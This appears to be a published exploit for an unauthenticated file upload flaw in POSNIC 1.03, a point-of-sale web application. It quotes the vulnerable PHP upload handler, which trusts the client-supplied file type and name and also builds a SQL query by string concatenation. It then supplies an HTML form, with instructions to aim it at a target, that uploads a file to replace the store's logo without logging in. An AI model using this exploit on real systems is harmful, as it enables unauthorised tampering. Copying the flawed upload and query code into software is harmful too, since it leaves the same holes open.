<!-- # Exploit Title: POSNIC Unauthenticated File Upload # Date: 04-02-2017 # Exploit Author: Rony Das # Vendor Homepage: http://www.posnic.com # Software Link: https://github.com/Posnic/POSNIC-1.03 # Version: 1.03 # Tested on: Ubuntu 14.04 -->   <!--  VULNERABLE CODE: /update_details.php   <if (isset($_POST['submit']) and $_POST['submit'] === 'Submit') {       $allowedExts = array("gif", "jpeg", "jpg", "png");     $temp = explode(".", $_FILES["file"]["name"]);     $extension = end($temp);     if ((($_FILES["file"]["type"] == "image/gif")             || ($_FILES["file"]["type"] == "image/png"))         && ($_FILES["file"]["size"] < 30000)         && in_array($extension, $allowedExts)     ) {         if ($_FILES["file"]["error"] > 0) {             echo "Return Code: " . $_FILES["file"]["error"] . "<br>";         } else {             $upload = $_FILES["file"]["name"];             $type = $_FILES["file"]["type"];                 if (file_exists("upload/" . $_FILES["file"]["name"])) {                   unlink($upload);             }                 $name = $_FILES["file"]["name"];             move_uploaded_file($_FILES["file"]["tmp_name"],                 "upload/" . $name);             //echo "Stored in: " . "upload/" . $_FILES["file"]["name"];             $upload;             $_SESSION['logo'] = $upload;               # Note that filters and validators are separate rule sets and method calls. There is a good reason for this.               $db->query("UPDATE store_details  SET log ='" . $upload . "',type='" . $type . "'");   -->       <!-- Exploit --> <!--  Put your target to the action="http://yourtarget.com/posnicdirectory/update_details.php" Then choose a image file and rename it to "posnic.png" this replaces the LOGO ,  not overwrites because they delete's the file if already exists and replaces with the  new uploaded file.   //if (file_exists("upload/" . $_FILES["file"]["name"])) {   //                unlink($upload); //            } -->   <center> <form action="http://localhost/posnic/update_details.php" method="POST" enctype="multipart/form-data">             <p>Upload Logo</p>             <input type="file" name="file" id="file"><br><br><br>             <input type="submit" name="submit" value="Submit"> </form>